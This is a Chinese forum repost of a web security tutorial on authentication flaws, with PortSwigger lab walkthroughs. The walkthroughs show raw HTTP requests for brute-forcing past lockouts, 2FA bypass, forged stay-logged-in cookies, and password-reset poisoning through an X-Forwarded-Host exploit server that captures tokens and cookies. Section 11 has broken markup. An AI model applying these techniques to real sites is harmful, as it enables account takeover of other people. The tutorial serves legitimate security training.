ToB企服应用市场:ToB评测及商务社交产业平台

标题: WEB安全基础入门—身份验证漏洞 [打印本页]

作者: 立山    时间: 2022-6-22 09:20
标题: WEB安全基础入门—身份验证漏洞
欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:!


知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
   专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,全面汇总相关知识,掌握一类漏洞。让读者能尽快掌握WEB安全知识框架,入门深造。
绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点,导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!
  欢迎关注订阅专栏!

WEB安全基础入门—身份验证漏洞



一、身份验证基础知识


1. 身份验证基础定义

身份验证是验证请求用户或客户端的身份的过程。确保访问者真的是他自己声称的那个人。身份验证包含三要素,分别是:

身份验证就是用技术手段验证以上一个或多个因素来完成的。
2. 身份验证与授权的区别

身份验证授权验证访问者真是他自己声称的那个人。一个用户被允许能做某事用户A登录应用,验证他是否真是A登录后,他权限是什么,能做什么操作3. 身份验证漏洞产生的原因

概括来讲,身份验证漏洞产生的原因可以被归纳为两大类

二、漏洞利用

1. 基于密码的登陆漏洞

1. 暴力攻击

暴力攻击一般使用相关软件(如Burp)逐一遍历搭配用户名和密码的字典进行自动化访问爆破的过程,根据响应结果来找出正确的用户名和密码。
   字典,并不是单纯的随机搭配生成的。更多的是根据目标用户的相关信息(如生日、身份证号、姓名、手机号、车牌号、爱人生日、一千个最常用密码等)组合而来的,如设置的密码也遵循这个原则,则暴力破解的成功率会非常高。
  用户名暴力破解
用户名相对来说比较容易猜测,

用户名枚举
很多应用对已在使用的用户名会有特殊显示,如找到这种区别,则可以大量识别出哪些用户名已经存在,则爆破就局限在密码上,简单很多。

密码暴力破解
一般密码设置都有最基本的要求

但是一般用户选用密码都有其规律

   只要百度搜下密码本或最常用的1000个密码,会有一大堆字典能使用。
另外网上也有免费的根据你提供信息自动生成的密码本(在线社工密码生成)
    例题 1,2,3
  2. 暴力破解防护缺陷

大多数情况下,网站登陆页面是有暴力破解防护措施的,主要有如下两点:

以上两种限制措施结合起来使用,的确能抵御大量爆破攻击。但是仍不完善,如下场景就可轻易破解该防御。
攻击者先尝试测试出登陆失败的限制次数,正常注册一个账户。在暴力破解字典中周期性(≤失败限制次数)插入正常账户的账号密码。这样爆破时,在低速发送登陆请求时,周期性的登陆正常账户,也能成功绕过爆破防护的。
   例题4
  另,第一种方式是利用限制本身来判断账户是否存在,比如多次爆破后,发现账户提示被锁定,则可认定该账户存在
   例题5 例题6
  2. 基于多因素认证的漏洞

多因素身份验证的好处只有通过验证多个不同的因素才能实现。用两种不同的方式验证同一因素并不是真正的双因素身份验证。
绕过双因素验证
如果验证时是先输入账户密码,跳转到另一个页面进项验证码验证。则可以尝试账户密码验证成功跳转后是否已经是登陆状态,若是这样,不再进行验证码验证。
   例题7
  双因素验证逻辑缺陷
同上有些网站设计成分两阶段分别验证密码和验证码,验证的数据包如下,请留意验证密码后设置的cookie
第一次账号密码发送和验证
  1. POST /login-steps/first HTTP/1.1   
  2. Host: vulnerable-website.com
  3. ...
  4. username=carlos&password=qwerty
  5. HTTP/1.1 200 OK
  6. Set-Cookie: account=carlos
复制代码
第二次发送cookie,验证返回验证码
  1. GET /login-steps/second HTTP/1.1
  2. Cookie: account=carlos
  3. POST /login-steps/second HTTP/1.1
  4. Host: vulnerable-website.com
  5. Cookie: account=victim-user
  6. ...
  7. verification-code=123456
复制代码
逻辑是给你的验证码,完全依赖设置的cookie。若攻击者知道目标用户密码后,可尝试在完成密码验证后,更改cookie,提交申请验证码
  1. POST /login-steps/second HTTP/1.1
  2. Host: vulnerable-website.com
  3. Cookie: account=victim-user
  4. ...
  5. verification-code=123456
复制代码
  例题8、9
  3. 其他身份验证功能机制的漏洞

1.登录状态保持功能

功能点往往是Remember me Keep me logged in 保持登陆状态的打勾选项框。实现的方法是,使用特殊的cookie,在一段时间内保存在服务器和浏览器端,有这个cookie,可以绕过整个登陆环节。这个cookie应该为不可预测且加盐加密的。但实际情况往往有例外:

   攻击者可以事先申请账号,研究整个流程和cookie
    例10 、11
  2. 重置密码功能


http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8
   系统收到此链接后,首先验证,参数是否存在后端服务器,通过后,销毁此条后端记录,并提供密码修改页面
  试想以上两点,尤其是第二点有众多要求,有一点网站没有做到,我们就可尝试进行攻击。
   例题12、13、14
  三、漏洞实例

1. 通过不同响应进行的用户名枚举 (Username enumeration via different responses


抓取登陆页面数据包
  1. POST /login HTTP/1.1
  2. Host: ac941f181f8a1ac2c0f39a88000e00b2.web-security-academy.net
  3. Cookie: session=3siZ3fN7N4ztmocux0iYVAMxxtYvdOKw
  4. username=albuquerque&password=456
复制代码
发到Burp爆破模块

将靶场提供的字典粘贴进去,在响应包中设置抓取Invalid username


完成上述设置,开始攻击,结果显示只有一个用户名没有这个字段,证明该用户名已使用。albuquerque

粘贴密码本

开始包括,筛选长度异常的响应包,因为响应长度不同,证明页面不同,表面登陆进去了。密码robert

登陆成功
2. 通过细微不同的响应进行用户名枚举 (Username enumeration via subtly different responses


与上一题雷同,只说不同点
无效的用户名为Invalid username or password.
有效的用户名为Invalid username or password 仅仅差一个.做安全要细心呢
3. 通过响应计时进行用户名枚举 (Username enumeration via response timing


4. 破解暴力保护,IP阻止(Broken brute-force protection, IP block


用户字典
  1. wiener
  2. carlos
  3. carlos
  4. wiener
  5. carlos
  6. carlos
  7. wiener
  8. carlos
  9. carlos
  10. wiener
  11. carlos
  12. carlos
  13. wiener
  14. ....        两次carlos后一次wiener
复制代码
密码字典
  1. eter
  2. 123456
  3. password
  4. peter
  5. 12345678
  6. qwerty
  7. peter
  8. 123456789
  9. 12345
  10. peter
  11. 1234
  12. 111111
  13. peter
  14. .....
复制代码
最终找到正确密钥
5. 通过帐户锁定进行用户名枚举(Username enumeration via account lock


6. 破解暴力保护,每次请求多个凭据(Broken brute-force protection, multiple credentials per request


  1. POST /login HTTP/1.1
  2. Host: ac341fa61f430c29c0ec4978002f004a.web-security-academy.net
  3. Cookie: session=3osKtL6vB19bIwK6pa1T5KzIyO31UQBv
  4. Connection: close
  5. {"username":"carlos","password":"123","":""}
复制代码
  1. ....
  2. {"username":"carlos","password":["123","password","qwerty",...]}
复制代码
7. 2FA简单绕过( 2FA simple bypass


此题非常简单,再输入账号密码好,跳转至验证码输入界面。此时若回到主页(可直接修改URL),再查看状态,其实已经是登录状态。双因素验证被简单绕过。
8. 2FA断开逻辑(2FA broken logic


此题逻辑细节需注意
  1. GET /login2 HTTP/1.1
  2. Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.net
  3. Cookie: session=U4pqw5gXBvsGu3RZeBMHa0wG0rFlDM5V; verify=carlos
复制代码
  1. POST /login2 HTTP/1.1
  2. Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.net
  3. Cookie: session=dTL5aKh6zd29oiotG2heavcLardrFv6l; verify=carlos
  4. mfa-code=§1234§
复制代码

9. 使用暴力攻击的2FA旁路( 2FA bypass using a brute-force attack


暂略
10. 暴力-强制使用持续登录的Cookie( Brute-forcing a stay-logged-in cookie


  1. HTTP/1.1 302 Found
  2. Location: /my-account
  3. Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
  4. Set-Cookie: session=flB85ih0RP2hJArjjUHFj4qCU4cLijXm; Secure; HttpOnly; SameSite=None
  5. Connection: close
  6. Content-Length: 0
复制代码
stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
wiener:51dc30ddc473d43a6011e9ebba6ca770
wiener:peter
   所以cookie生成方式为stay-logged-in=base64(用户名:MD5(密码))
  
  1. GET /my-account HTTP/1.1
  2. Host: aca21f781f688dd7c00759680081002a.web-security-academy.net
  3. Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
  4. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  7. Accept-Encoding: gzip, deflate
  8. Referer: https://aca21f781f688dd7c00759680081002a.web-security-academy.net/login
  9. Upgrade-Insecure-Requests: 1
  10. Sec-Fetch-Dest: document
  11. Sec-Fetch-Mode: navigate
  12. Sec-Fetch-Site: same-origin
  13. Sec-Fetch-User: ?1
  14. Te: trailers
  15. Connection: close
复制代码
11. 脱机密码破解(Offline password cracking


  1. [/code] [list=1]
  2. [*]查看攻击机的日志记录,发现cookie被成功带出
  3. [/list] "GET /secret=W7MFKCT2S04dxoPstmCEMKNpJSA5wP1p;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1"
  4. [list=1]
  5. [*]找到任意一个登陆数据包,替换cookie即可
  6. [/list] [size=4]12. 密码重置损坏的逻辑([url=https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic]Password reset broken logic[/url])[/size]
  7. [list]
  8. [*] [b]目标[/b]
  9. 重置目标账户carlos的密码,并登录其用户页
  10. 测试账户:wiener:peter
  11. [*] [b]解题思路[/b]
  12. 用测试账号测试密码重置功能点,发现他的最后一步根本就没验证token与username的对应关系。造成,最后一个重置连接可以重置任何制定账户的密码
  13. [/list] [code]POST /forgot-password?temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV HTTP/1.1
  14. temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV&username=carlos&new-password-1=123&new-password-2=123
复制代码
13. 通过中间件进行密码重置中毒(Password reset poisoning via middleware


  1. POST /forgot-password HTTP/1.1
  2. Host: ac031f4e1fa76d12c004df51002a00d6.web-security-academy.net
  3. X-Forwarded-Host: exploit-acd31f551fee6d3ac0cadffc012c0082.web-security-academy.net
  4. username=carlos
复制代码
攻击机或者访问日志,带出token
"GET /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1"
更新最后一步数据包,即可重置carlos密码
  1. POST /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1
  2. temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s&new-password-1=123&new-password-2=123
复制代码
14. 密码暴力-通过更改密码强制执行(Password brute-force via password change



来源:https://blog.csdn.net/eason612/article/details/125073533
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4